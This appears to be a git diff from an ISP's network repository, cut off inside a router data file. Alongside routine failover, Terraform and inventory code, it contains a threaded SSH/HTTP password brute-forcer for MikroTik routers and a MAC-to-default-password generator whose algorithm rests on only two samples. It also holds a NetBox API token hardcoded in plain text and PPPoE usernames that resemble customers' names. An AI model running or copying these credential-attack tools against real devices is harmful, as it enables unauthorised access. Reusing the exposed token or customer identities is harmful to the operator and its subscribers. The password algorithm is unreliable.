||||||
|
print()
|
||||||
|
|
||||||
|
if len(sys.argv) < 2:
|
||||||
|
print("Usage:")
|
||||||
|
print(" python script.py <HOST> [OPTIONS]")
|
||||||
|
print()
|
||||||
|
print("Arguments:")
|
||||||
|
print(" HOST IP address of MikroTik device (e.g., 192.168.88.1)")
|
||||||
|
print()
|
||||||
|
print("Options:")
|
||||||
|
print(" --port PORT Port number (default: 22 for SSH, 80 for HTTP)")
|
||||||
|
print(" --method METHOD 'ssh' or 'http' (default: ssh)")
|
||||||
|
print(" --threads N Number of concurrent threads (default: 1)")
|
||||||
|
print(" --memory-efficient Use streaming password generation (memory efficient)")
|
||||||
|
print()
|
||||||
|
print("Examples:")
|
||||||
|
print(" python script.py 192.168.88.1")
|
||||||
|
print(" python script.py 192.168.88.1 --port 22 --method ssh")
|
||||||
|
print(" python script.py 192.168.88.1 --port 80 --method http --threads 4")
|
||||||
|
print(" python script.py 192.168.88.1 --memory-efficient --threads 8")
|
||||||
|
print()
|
||||||
|
print("Password space: 65,536² = 4,294,967,296 possible 'xxxx-xxxx' passwords")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
host = sys.argv[1]
|
||||||
|
port = 22
|
||||||
|
method = "ssh"
|
||||||
|
threads = 1
|
||||||
|
memory_efficient = False
|
||||||
|
|
||||||
|
# Parse options
|
||||||
|
i = 2
|
||||||
|
while i < len(sys.argv):
|
||||||
|
if sys.argv[i] == "--port":
|
||||||
|
port = int(sys.argv[i + 1])
|
||||||
|
i += 2
|
||||||
|
elif sys.argv[i] == "--method":
|
||||||
|
method = sys.argv[i + 1].lower()
|
||||||
|
i += 2
|
||||||
|
elif sys.argv[i] == "--threads":
|
||||||
|
threads = int(sys.argv[i + 1])
|
||||||
|
i += 2
|
||||||
|
elif sys.argv[i] == "--memory-efficient":
|
||||||
|
memory_efficient = True
|
||||||
|
i += 1
|
||||||
|
else:
|
||||||
|
print(f"Unknown option: {sys.argv[i]}")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
if method not in ["ssh", "http"]:
|
||||||
|
print(f"Error: Method must be 'ssh' or 'http', not '{method}'")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
brute_forcer = MikroTikBruteForce(
|
||||||
|
host, port=port, use_http=(method == "http")
|
||||||
|
)
|
||||||
|
brute_forcer.brute_force(num_threads=threads, memory_efficient=memory_efficient)
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
|
|
||||||
231
mikrotikpassword.py
Normal file
231
mikrotikpassword.py
Normal file
|
|
@ -0,0 +1,231 @@
|
||||||
|
"""
|
||||||
|
MikroTik RouterBoard Password Generator
|
||||||
|
|
||||||
|
Reverse-engineered password generation algorithm based on MAC address analysis.
|
||||||
|
|
||||||
|
IMPORTANT DISCOVERY: Two different MAC addresses generate the SAME password:
|
||||||
|
MAC: 18:FD:74:F9:04:FC → Password: c8fd-8bff
|
||||||
|
MAC: 18:FD:74:F9:04:90 → Password: c8fd-8bff
|
||||||
|
|
||||||
|
The only difference is the last byte (FC vs 90), proving it's NOT used!
|
||||||
|
|
||||||
|
Pattern discovered:
|
||||||
|
- Only uses first 5 MAC bytes (byte 5 is ignored)
|
||||||
|
- Byte 0: MAC[0] XOR 0xD0
|
||||||
|
- Byte 1: MAC[1] (direct copy)
|
||||||
|
- Byte 2: NOT(MAC[2])
|
||||||
|
- Byte 3: 0xFF (constant or derived)
|
||||||
|
|
||||||
|
WARNING: This is based on reverse engineering two MAC addresses that both
|
||||||
|
produce the same password. More data points would help verify the constants.
|
||||||
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
class MikroTikPasswordGenerator:
|
||||||
|
"""Generate MikroTik RouterBoard passwords from MAC addresses."""
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def parse_mac(mac_address):
|
||||||
|
"""
|
||||||
|
Parse a MAC address string into a list of bytes.
|
||||||
|
|
||||||
|
Accepts formats like "18:FD:74:F9:04:FC" or "18-FD-74-F9-04-FC"
|
||||||
|
|
||||||
|
Args:
|
||||||
|
mac_address (str): MAC address string
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
list: List of 6 integers (0-255)
|
||||||
|
|
||||||
|
Raises:
|
||||||
|
ValueError: If MAC address format is invalid
|
||||||
|
"""
|
||||||
|
mac_address = mac_address.upper()
|
||||||
|
|
||||||
|
# Split by colon or dash
|
||||||
|
import re
|
||||||
|
parts = re.split(r'[:-]', mac_address)
|
||||||
|
|
||||||
|
if len(parts) != 6:
|
||||||
|
raise ValueError(f"Invalid MAC address: {mac_address}. Expected 6 octets.")
|
||||||
|
|
||||||
|
try:
|
||||||
|
mac_bytes = [int(part, 16) for part in parts]
|
||||||
|
except ValueError:
|
||||||
|
raise ValueError(f"Invalid MAC address format: {mac_address}")
|
||||||
|
|
||||||
|
return mac_bytes
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def bitwise_not(byte):
|
||||||
|
"""
|
||||||
|
Bitwise NOT operation (inverts all bits in a byte).
|
||||||
|
|
||||||
|
Args:
|
||||||
|
byte (int): Byte value (0-255)
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
int: NOT(byte) as a byte (0-255)
|
||||||
|
"""
|
||||||
|
return byte ^ 0xFF
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def xor_op(byte, mask):
|
||||||
|
"""
|
||||||
|
XOR operation on a byte with a mask.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
byte (int): Byte value (0-255)
|
||||||
|
mask (int): XOR mask (0-255)
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
int: byte XOR mask (0-255)
|
||||||
|
"""
|
||||||
|
return (byte ^ mask) & 0xFF
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def format_password(pwd_bytes):
|
||||||
|
"""
|
||||||
|
Format password bytes into MikroTik format "XXXX-XXXX".
|
||||||
|
|
||||||
|
Args:
|
||||||
|
pwd_bytes (list): List of 4 bytes
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
str: Formatted password like "c8fd-8bff"
|
||||||
|
"""
|
||||||
|
if len(pwd_bytes) != 4:
|
||||||
|
raise ValueError(f"Expected 4 password bytes, got {len(pwd_bytes)}")
|
||||||
|
|
||||||
|
hex_string = ''.join(f'{byte:02x}' for byte in pwd_bytes)
|
||||||
|
return f"{hex_string[:4]}-{hex_string[4:]}"
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def generate_password(mac_address):
|
||||||
|
"""
|
||||||
|
Generate a password from a MAC address.
|
||||||
|
|
||||||
|
Uses only the first 5 bytes of the MAC address (byte 5 is ignored).
|
||||||
|
|
||||||
|
Algorithm:
|
||||||
|
PWD[0] = MAC[0] XOR 0xD0
|
||||||
|
PWD[1] = MAC[1] (direct copy)
|
||||||
|
PWD[2] = NOT(MAC[2]) (bitwise NOT)
|
||||||
|
PWD[3] = 0xFF (constant or derived)
|
||||||
|
|
||||||
|
Args:
|
||||||
|
mac_address (str): MAC address string (e.g., "18:FD:74:F9:04:FC")
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
str: Generated password (e.g., "c8fd-8bff")
|
||||||
|
|
||||||
|
Example:
|
||||||
|
>>> gen = MikroTikPasswordGenerator()
|
||||||
|
>>> pwd1 = gen.generate_password("18:FD:74:F9:04:FC")
|
||||||
|
>>> pwd2 = gen.generate_password("18:FD:74:F9:04:90")
|
||||||
|
>>> pwd1 == pwd2
|
||||||
|
True
|
||||||
|
'c8fd-8bff'
|
||||||
|
"""
|
||||||
|
mac_bytes = MikroTikPasswordGenerator.parse_mac(mac_address)
|
||||||
|
|
||||||
|
if len(mac_bytes) != 6:
|
||||||
|
raise ValueError(f"Expected 6 MAC bytes, got {len(mac_bytes)}")
|
||||||
|
|
||||||
|
# Extract the first 5 MAC bytes (byte 5 is ignored)
|
||||||
|
b0, b1, b2, b3, b4 = mac_bytes[:5]
|
||||||
|
|
||||||
|
# Generate password bytes based on discovered pattern
|
||||||
|
pwd_byte_0 = MikroTikPasswordGenerator.xor_op(b0, 0xD0)
|
||||||
|
pwd_byte_1 = b1 # Direct copy
|
||||||
|
pwd_byte_2 = MikroTikPasswordGenerator.bitwise_not(b2) # NOT operation
|
||||||
|
pwd_byte_3 = 0xFF # Constant (or possibly derived from b3)
|
||||||
|
|
||||||
|
pwd_bytes = [pwd_byte_0, pwd_byte_1, pwd_byte_2, pwd_byte_3]
|
||||||
|
|
||||||
|
# Format as hex string with dash
|
||||||
|
return MikroTikPasswordGenerator.format_password(pwd_bytes)
|
||||||
|
|
||||||
|
|
||||||
|
def test():
|
||||||
|
"""
|
||||||
|
Test the generator with the two known MAC/password pairs.
|
||||||
|
Both MACs should generate the same password.
|
||||||
|
"""
|
||||||
|
mac1 = "18:FD:74:F9:04:FC"
|
||||||
|
mac2 = "18:FD:74:F9:04:90"
|
||||||
|
expected = "c8fd-8bff"
|
||||||
|
|
||||||
|
gen = MikroTikPasswordGenerator()
|
||||||
|
generated1 = gen.generate_password(mac1)
|
||||||
|
generated2 = gen.generate_password(mac2)
|
||||||
|
|
||||||
|
print("Testing MikroTik Password Generator")
|
||||||
|
print("=" * 45)
|
||||||
|
print()
|
||||||
|
print("Test 1: First MAC address")
|
||||||
|
print(f" MAC Address: {mac1}")
|
||||||
|
print(f" Expected Password: {expected}")
|
||||||
|
print(f" Generated Password: {generated1}")
|
||||||
|
result1 = generated1 == expected
|
||||||
|
print(f" Result: {'✓ PASS' if result1 else '✗ FAIL'}")
|
||||||
|
print()
|
||||||
|
print("Test 2: Second MAC address (last byte different)")
|
||||||
|
print(f" MAC Address: {mac2}")
|
||||||
|
print(f" Expected Password: {expected}")
|
||||||
|
print(f" Generated Password: {generated2}")
|
||||||
|
result2 = generated2 == expected
|
||||||
|
print(f" Result: {'✓ PASS' if result2 else '✗ FAIL'}")
|
||||||
|
print()
|
||||||
|
|
||||||
|
# Key insight: both should be the same
|
||||||
|
print(f"Both generate same password: {'✓ YES' if generated1 == generated2 else '✗ NO'}")
|
||||||
|
print(f"Proves last byte is ignored: {'✓ CONFIRMED' if result1 and result2 else '✗ NOT CONFIRMED'}")
|
||||||
|
|
||||||
|
return result1 and result2
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
"""Main entry point with example usage."""
|
||||||
|
import sys
|
||||||
|
|
||||||
|
print("MikroTik RouterBoard Password Generator")
|
||||||
|
print("=" * 45)
|
||||||
|
print()
|
||||||
|
|
||||||
|
# Run test
|
||||||
|
test_passed = test()
|
||||||
|
print()
|
||||||
|
|
||||||
|
# Example usage
|
||||||
|
if len(sys.argv) > 1:
|
||||||
|
mac_address = sys.argv[1]
|
||||||
|
try:
|
||||||
|
gen = MikroTikPasswordGenerator()
|
||||||
|
password = gen.generate_password(mac_address)
|
||||||
|
print(f"MAC: {mac_address}")
|
||||||
|
print(f"Password: {password}")
|
||||||
|
except ValueError as e:
|
||||||
|
print(f"Error: {e}")
|
||||||
|
sys.exit(1)
|
||||||
|
else:
|
||||||
|
print("Usage:")
|
||||||
|
print(" python mikrotik_password.py <MAC_ADDRESS>")
|
||||||
|
print()
|
||||||
|
print("Examples:")
|
||||||
|
print(" python mikrotik_password.py 18:FD:74:F9:04:FC")
|
||||||
|
print(" python mikrotik_password.py 18-FD-74-F9-04:FC")
|
||||||
|
print()
|
||||||
|
print("Algorithm:")
|
||||||
|
print(" PWD[0] = MAC[0] XOR 0xD0")
|
||||||
|
print(" PWD[1] = MAC[1]")
|
||||||
|
print(" PWD[2] = NOT(MAC[2])")
|
||||||
|
print(" PWD[3] = 0xFF")
|
||||||
|
print()
|
||||||
|
print("Note: Only first 5 MAC bytes are used (byte 5 is ignored)")
|
||||||
|
|
||||||
|
sys.exit(0 if test_passed else 1)
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
251
netbox_client.py
Normal file
251
netbox_client.py
Normal file
|
|
@ -0,0 +1,251 @@
|
||||||
|
#!/usr/bin/env python3
|
||||||
|
|
||||||
|
import requests
|
||||||
|
import json
|
||||||
|
from urllib.parse import urljoin
|
||||||
|
|
||||||
|
class NetBoxClient:
|
||||||
|
def __init__(self, url, token):
|
||||||
|
self.base_url = url.rstrip('/')
|
||||||
|
self.api_url = urljoin(self.base_url + '/', 'api/')
|
||||||
|
self.headers = {
|
||||||
|
'Authorization': f'Token {token}',
|
||||||
|
'Content-Type': 'application/json',
|
||||||
|
'Accept': 'application/json'
|
||||||
|
}
|
||||||
|
self.session = requests.Session()
|
||||||
|
self.session.headers.update(self.headers)
|
||||||
|
|
||||||
|
def get(self, endpoint, params=None):
|
||||||
|
"""Make GET request to NetBox API"""
|
||||||
|
url = urljoin(self.api_url, endpoint.lstrip('/'))
|
||||||
|
response = self.session.get(url, params=params)
|
||||||
|
response.raise_for_status()
|
||||||
|
return response.json()
|
||||||
|
|
||||||
|
def get_all(self, endpoint, params=None):
|
||||||
|
"""Get all results handling pagination"""
|
||||||
|
if params is None:
|
||||||
|
params = {}
|
||||||
|
params['limit'] = 100
|
||||||
|
|
||||||
|
all_results = []
|
||||||
|
url = urljoin(self.api_url, endpoint.lstrip('/'))
|
||||||
|
|
||||||
|
while url:
|
||||||
|
response = self.session.get(url, params=params)
|
||||||
|
response.raise_for_status()
|
||||||
|
data = response.json()
|
||||||
|
|
||||||
|
all_results.extend(data['results'])
|
||||||
|
url = data['next']
|
||||||
|
params = None # Don't send params on subsequent requests
|
||||||
|
|
||||||
|
return all_results
|
||||||
|
|
||||||
|
# Site methods
|
||||||
|
def get_sites(self, **kwargs):
|
||||||
|
return self.get_all('dcim/sites/', params=kwargs)
|
||||||
|
|
||||||
|
def get_site_by_name(self, name):
|
||||||
|
sites = self.get('dcim/sites/', params={'name': name})
|
||||||
|
if sites['count'] > 0:
|
||||||
|
return sites['results'][0]
|
||||||
|
return None
|
||||||
|
|
||||||
|
# Prefix methods
|
||||||
|
def get_prefixes(self, **kwargs):
|
||||||
|
return self.get_all('ipam/prefixes/', params=kwargs)
|
||||||
|
|
||||||
|
def get_prefixes_by_site(self, site_name):
|
||||||
|
"""Get all prefixes associated with a site"""
|
||||||
|
site = self.get_site_by_name(site_name)
|
||||||
|
if not site:
|
||||||
|
return []
|
||||||
|
return self.get_all('ipam/prefixes/', params={'site_id': site['id']})
|
||||||
|
|
||||||
|
# IP Address methods
|
||||||
|
def get_ip_addresses(self, **kwargs):
|
||||||
|
return self.get_all('ipam/ip-addresses/', params=kwargs)
|
||||||
|
|
||||||
|
def get_ip_addresses_by_site(self, site_name):
|
||||||
|
"""Get all IP addresses associated with a site"""
|
||||||
|
site = self.get_site_by_name(site_name)
|
||||||
|
if not site:
|
||||||
|
return []
|
||||||
|
|
||||||
|
# First try by site_id
|
||||||
|
ips = self.get_all('ipam/ip-addresses/', params={'site_id': site['id']})
|
||||||
|
|
||||||
|
# Also get IPs assigned to devices at this site
|
||||||
|
devices = self.get_all('dcim/devices/', params={'site_id': site['id']})
|
||||||
|
for device in devices:
|
||||||
|
device_ips = self.get_all('ipam/ip-addresses/', params={'device_id': device['id']})
|
||||||
|
ips.extend(device_ips)
|
||||||
|
|
||||||
|
# Remove duplicates
|
||||||
|
seen = set()
|
||||||
|
unique_ips = []
|
||||||
|
for ip in ips:
|
||||||
|
if ip['id'] not in seen:
|
||||||
|
seen.add(ip['id'])
|
||||||
|
unique_ips.append(ip)
|
||||||
|
|
||||||
|
return unique_ips
|
||||||
|
|
||||||
|
# Device methods
|
||||||
|
def get_devices_by_site(self, site_name):
|
||||||
|
"""Get all devices at a site"""
|
||||||
|
site = self.get_site_by_name(site_name)
|
||||||
|
if not site:
|
||||||
|
return []
|
||||||
|
return self.get_all('dcim/devices/', params={'site_id': site['id']})
|
||||||
|
|
||||||
|
# VLAN methods
|
||||||
|
def get_vlans_by_site(self, site_name):
|
||||||
|
"""Get all VLANs at a site"""
|
||||||
|
site = self.get_site_by_name(site_name)
|
||||||
|
if not site:
|
||||||
|
return []
|
||||||
|
return self.get_all('ipam/vlans/', params={'site_id': site['id']})
|
||||||
|
|
||||||
|
|
||||||
|
def compare_subnets():
|
||||||
|
"""Compare subnets from router with NetBox"""
|
||||||
|
# NetBox connection
|
||||||
|
nb = NetBoxClient('https://netbox.vntx.net/', 'e50298f7fd20f7fd6f1931f635511b34f6e8cfde')
|
||||||
|
|
||||||
|
# Subnets found on router (from previous scan)
|
||||||
|
router_subnets = [
|
||||||
|
{'address': '10.250.1.25/29', 'network': '10.250.1.24', 'interface': 'ether3-climax-11ghz'},
|
||||||
|
{'address': '10.254.254.101/32', 'network': '10.254.254.101', 'interface': 'loopback'},
|
||||||
|
{'address': '100.64.3.254/22', 'network': '100.64.0.0', 'interface': 'verona'},
|
||||||
|
{'address': '204.110.188.254/27', 'network': '204.110.188.224', 'interface': 'verona'},
|
||||||
|
{'address': '100.64.15.254/22', 'network': '100.64.12.0', 'interface': 'vlan_19_ether6'},
|
||||||
|
{'address': '10.10.95.254/20', 'network': '10.10.80.0', 'interface': 'vlan_10_ether6'},
|
||||||
|
{'address': '10.10.15.254/20', 'network': '10.10.0.0', 'interface': 'vlan_10_ether6'},
|
||||||
|
{'address': '10.0.101.254/24', 'network': '10.0.101.0', 'interface': 'sfp-sfpplus1-verona-tower-switch'},
|
||||||
|
{'address': '10.250.1.145/29', 'network': '10.250.1.144', 'interface': 'ether6-switch'},
|
||||||
|
{'address': '204.110.191.30/27', 'network': '204.110.191.0', 'interface': 'vlan9_sfpplus1'},
|
||||||
|
{'address': '10.25.1.254/24', 'network': '10.25.1.0', 'interface': 'ether1'},
|
||||||
|
{'address': '192.168.99.254/24', 'network': '192.168.99.0', 'interface': 'ether10-powerswitch'},
|
||||||
|
]
|
||||||
|
|
||||||
|
print("=== Checking Verona Site Subnets in NetBox ===\n")
|
||||||
|
|
||||||
|
# Get site info
|
||||||
|
site = nb.get_site_by_name('Verona')
|
||||||
|
if site:
|
||||||
|
print(f"Site: {site['name']} (ID: {site['id']})")
|
||||||
|
print(f"Status: {site['status']['label']}")
|
||||||
|
print(f"Address: {site['physical_address']}")
|
||||||
|
print()
|
||||||
|
|
||||||
|
# Get prefixes from NetBox
|
||||||
|
print("Fetching NetBox data...")
|
||||||
|
prefixes = nb.get_prefixes_by_site('Verona')
|
||||||
|
ip_addresses = nb.get_ip_addresses_by_site('Verona')
|
||||||
|
vlans = nb.get_vlans_by_site('Verona')
|
||||||
|
devices = nb.get_devices_by_site('Verona')
|
||||||
|
|
||||||
|
print(f"\nFound in NetBox:")
|
||||||
|
print(f"- {len(prefixes)} prefixes")
|
||||||
|
print(f"- {len(ip_addresses)} IP addresses")
|
||||||
|
print(f"- {len(vlans)} VLANs")
|
||||||
|
print(f"- {len(devices)} devices")
|
||||||
|
|
||||||
|
# Check if we need to search more broadly
|
||||||
|
if len(prefixes) == 0:
|
||||||
|
print("\nNo prefixes found with site association. Searching by description/comments...")
|
||||||
|
all_prefixes = nb.get_prefixes()
|
||||||
|
prefixes = [p for p in all_prefixes if 'verona' in (p.get('description', '') + p.get('comments', '')).lower()]
|
||||||
|
print(f"Found {len(prefixes)} prefixes with 'verona' in description/comments")
|
||||||
|
|
||||||
|
# Display NetBox prefixes
|
||||||
|
if prefixes:
|
||||||
|
print("\n=== Prefixes in NetBox ===")
|
||||||
|
for prefix in prefixes:
|
||||||
|
status = prefix['status']['label'] if prefix.get('status') else 'Unknown'
|
||||||
|
role = prefix['role']['name'] if prefix.get('role') else 'None'
|
||||||
|
description = prefix.get('description', '')
|
||||||
|
print(f"\n{prefix['prefix']}")
|
||||||
|
print(f" Status: {status}")
|
||||||
|
print(f" Role: {role}")
|
||||||
|
if description:
|
||||||
|
print(f" Description: {description}")
|
||||||
|
|
||||||
|
# Display NetBox IP addresses
|
||||||
|
if ip_addresses:
|
||||||
|
print("\n\n=== IP Addresses in NetBox ===")
|
||||||
|
for ip in ip_addresses:
|
||||||
|
status = ip['status']['label'] if ip.get('status') else 'Unknown'
|
||||||
|
role = ip['role']['name'] if ip.get('role') else 'None'
|
||||||
|
interface = ip.get('assigned_object', {}).get('name', 'Not assigned') if ip.get('assigned_object') else 'Not assigned'
|
||||||
|
print(f"\n{ip['address']}")
|
||||||
|
print(f" Status: {status}")
|
||||||
|
print(f" Role: {role}")
|
||||||
|
print(f" Interface: {interface}")
|
||||||
|
|
||||||
|
# Compare with router subnets
|
||||||
|
print("\n\n=== Comparison Analysis ===")
|
||||||
|
|
||||||
|
# Extract prefixes from NetBox data
|
||||||
|
netbox_prefixes = set(p['prefix'] for p in prefixes)
|
||||||
|
netbox_ips = set(ip['address'] for ip in ip_addresses)
|
||||||
|
|
||||||
|
# Check each router subnet
|
||||||
|
missing_subnets = []
|
||||||
|
missing_ips = []
|
||||||
|
|
||||||
|
for subnet in router_subnets:
|
||||||
|
# Check if the subnet prefix exists
|
||||||
|
subnet_cidr = f"{subnet['network']}/{subnet['address'].split('/')[-1]}"
|
||||||
|
|
||||||
|
found_prefix = False
|
||||||
|
found_ip = False
|
||||||
|
|
||||||
|
# Check against prefixes
|
||||||
|
for prefix in netbox_prefixes:
|
||||||
|
if subnet_cidr == prefix or subnet['address'] == prefix:
|
||||||
|
found_prefix = True
|
||||||
|
break
|
||||||
|
|
||||||
|
# Check against IP addresses
|
||||||
|
if subnet['address'] in netbox_ips:
|
||||||
|
found_ip = True
|
||||||
|
|
||||||
|
if not found_prefix and not found_ip:
|
||||||
|
if '/32' in subnet['address']:
|
||||||
|
missing_ips.append(subnet)
|
||||||
|
else:
|
||||||
|
missing_subnets.append(subnet)
|
||||||
|
|
||||||
|
# Report findings
|
||||||
|
print(f"\nMissing Subnets (not in NetBox):")
|
||||||
|
if missing_subnets:
|
||||||
|
for subnet in missing_subnets:
|
||||||
|
print(f" - {subnet['network']}/{subnet['address'].split('/')[-1]} ({subnet['interface']})")
|
||||||
|
else:
|
||||||
|
print(" None - all subnets are documented")
|
||||||
|
|
||||||
|
print(f"\nMissing IP Addresses (not in NetBox):")
|
||||||
|
if missing_ips:
|
||||||
|
for ip in missing_ips:
|
||||||
|
print(f" - {ip['address']} ({ip['interface']})")
|
||||||
|
else:
|
||||||
|
print(" None - all IPs are documented")
|
||||||
|
|
||||||
|
# Summary
|
||||||
|
total_router_subnets = len([s for s in router_subnets if '/32' not in s['address']])
|
||||||
|
total_router_ips = len([s for s in router_subnets if '/32' in s['address']])
|
||||||
|
|
||||||
|
print(f"\n=== Summary ===")
|
||||||
|
print(f"Router has {total_router_subnets} subnets and {total_router_ips} host IPs")
|
||||||
|
print(f"NetBox has {len(prefixes)} prefixes and {len(ip_addresses)} IP addresses for Verona")
|
||||||
|
print(f"Missing from NetBox: {len(missing_subnets)} subnets and {len(missing_ips)} IPs")
|
||||||
|
|
||||||
|
return missing_subnets, missing_ips
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
compare_subnets()
|
||||||
19
netwatch-failover.rsc
Normal file
19
netwatch-failover.rsc
Normal file
|
|
@ -0,0 +1,19 @@
|
||||||
|
/tool netwatch
|
||||||
|
:foreach i in=[find comment~"path"] do={ remove $i }
|
||||||
|
|
||||||
|
/ip route
|
||||||
|
:foreach r in=[find comment~"probe pin"] do={ remove $r }
|
||||||
|
:foreach r in=[find comment~"probe blackhole"] do={ remove $r }
|
||||||
|
|
||||||
|
/ip route
|
||||||
|
add dst-address=4.2.2.1/32 gateway=192.168.12.1%ether6-tmobile check-gateway=ping distance=1 scope=10 comment="TMO probe pin"
|
||||||
|
add dst-address=4.2.2.1/32 type=blackhole distance=2 comment="TMO probe blackhole"
|
||||||
|
add dst-address=4.2.2.2/32 gateway=204.110.191.30%ether5-vntx-static check-gateway=ping distance=1 scope=10 comment="VNTX probe pin"
|
||||||
|
add dst-address=4.2.2.2/32 type=blackhole distance=2 comment="VNTX probe blackhole"
|
||||||
|
add dst-address=4.2.2.3/32 gateway=192.168.1.1%ether7-starlink check-gateway=ping distance=1 scope=10 comment="Starlink probe pin"
|
||||||
|
add dst-address=4.2.2.3/32 type=blackhole distance=2 comment="Starlink probe blackhole"
|
||||||
|
|
||||||
|
/tool netwatch
|
||||||
|
add type=simple host=4.2.2.1 interval=2s timeout=1s comment="TMO path" up-script="/ip route enable [find comment=\"Default via TMO (primary)\"]; /ip route enable [find comment=\"tmo table default\"]" down-script="/ip route disable [find comment=\"Default via TMO (primary)\"]; /ip route disable [find comment=\"tmo table default\"]"
|
||||||
|
add type=simple host=4.2.2.2 interval=2s timeout=1s comment="VNTX path" up-script="/ip route enable [find comment=\"Default via VNTX (secondary)\"]" down-script="/ip route disable [find comment=\"Default via VNTX (secondary)\"]"
|
||||||
|
add type=simple host=4.2.2.3 interval=2s timeout=1s comment="Starlink path" up-script="/ip route enable [find comment=\"Default via Starlink (last resort)\"]" down-script="/ip route disable [find comment=\"Default via Starlink (last resort)\"]"
|
||||||
28
new_hope_hosts.tf
Normal file
28
new_hope_hosts.tf
Normal file
|
|
@ -0,0 +1,28 @@
|
||||||
|
resource "towerops_device" "new_hope_se" {
|
||||||
|
site_id = towerops_site.new_hope.id
|
||||||
|
name = "New Hope SE"
|
||||||
|
ip_address = "10.10.143.11"
|
||||||
|
snmp_version = "1"
|
||||||
|
}
|
||||||
|
|
||||||
|
resource "towerops_device" "new_hope_ne" {
|
||||||
|
site_id = towerops_site.new_hope.id
|
||||||
|
name = "New Hope NE"
|
||||||
|
ip_address = "10.10.143.12"
|
||||||
|
snmp_version = "1"
|
||||||
|
}
|
||||||
|
|
||||||
|
resource "towerops_device" "new_hope_nw" {
|
||||||
|
site_id = towerops_site.new_hope.id
|
||||||
|
name = "new hope nw"
|
||||||
|
ip_address = "10.10.143.13"
|
||||||
|
snmp_version = "1"
|
||||||
|
}
|
||||||
|
|
||||||
|
resource "towerops_device" "new_hope_sw" {
|
||||||
|
site_id = towerops_site.new_hope.id
|
||||||
|
name = "new hope sw"
|
||||||
|
ip_address = "10.10.143.14"
|
||||||
|
snmp_version = "1"
|
||||||
|
}
|
||||||
|
|
||||||
577
newhope_router_data.json
Normal file
577
newhope_router_data.json
Normal file
|
|
@ -0,0 +1,577 @@
|
||||||
|
{
|
||||||
|
"host": "10.254.254.108",
|
||||||
|
"identity": null,
|
||||||
|
"timestamp": "2025-10-04T11:03:22.469427",
|
||||||
|
"subnets": [
|
||||||
|
{
|
||||||
|
"address": "10.254.254.108/32",
|
||||||
|
"network": "10.254.254.108",
|
||||||
|
"interface": "loopback",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": false
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "10.250.1.110/29",
|
||||||
|
"network": "10.250.1.104",
|
||||||
|
"interface": "ether6-lowrycrossing-new",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": false
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "10.10.143.254/20",
|
||||||
|
"network": "10.10.128.0",
|
||||||
|
"interface": "bridge_cpe_mgmt",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": false
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.19.254/22",
|
||||||
|
"network": "100.64.16.0",
|
||||||
|
"interface": "sfp-sfpplus1-edgepoint",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": false
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "204.110.188.190/27",
|
||||||
|
"network": "204.110.188.160",
|
||||||
|
"interface": "sfp-sfpplus1-edgepoint",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": false
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "10.250.1.57/29",
|
||||||
|
"network": "10.250.1.56",
|
||||||
|
"interface": "ether2-380",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": false
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "10.0.108.254/24",
|
||||||
|
"network": "10.0.108.0",
|
||||||
|
"interface": "ether7-tower",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": false
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.19.253/32",
|
||||||
|
"network": "100.64.19.1",
|
||||||
|
"interface": "<pppoe-christelles>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.19.253/32",
|
||||||
|
"network": "100.64.19.8",
|
||||||
|
"interface": "<pppoe-EdRater>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.19.253/32",
|
||||||
|
"network": "100.64.19.10",
|
||||||
|
"interface": "<pppoe-mikecurrence>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.19.253/32",
|
||||||
|
"network": "100.64.19.12",
|
||||||
|
"interface": "<pppoe-timthomas>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.19.253/32",
|
||||||
|
"network": "100.64.19.15",
|
||||||
|
"interface": "<pppoe-cliffordjennings>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.19.253/32",
|
||||||
|
"network": "100.64.19.18",
|
||||||
|
"interface": "<pppoe-susanking>",
|
||||||
|
"comment": "",
|
||||||
|
"dynamic": true
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"address": "100.64.19.253/32",
|
||||||
|
"network": "100.64.19.24",
|
||||||
|
"interface": "<pppoe-kavalleriefarm>",
|
||||||
|
"comment": "",
|
||||||
|
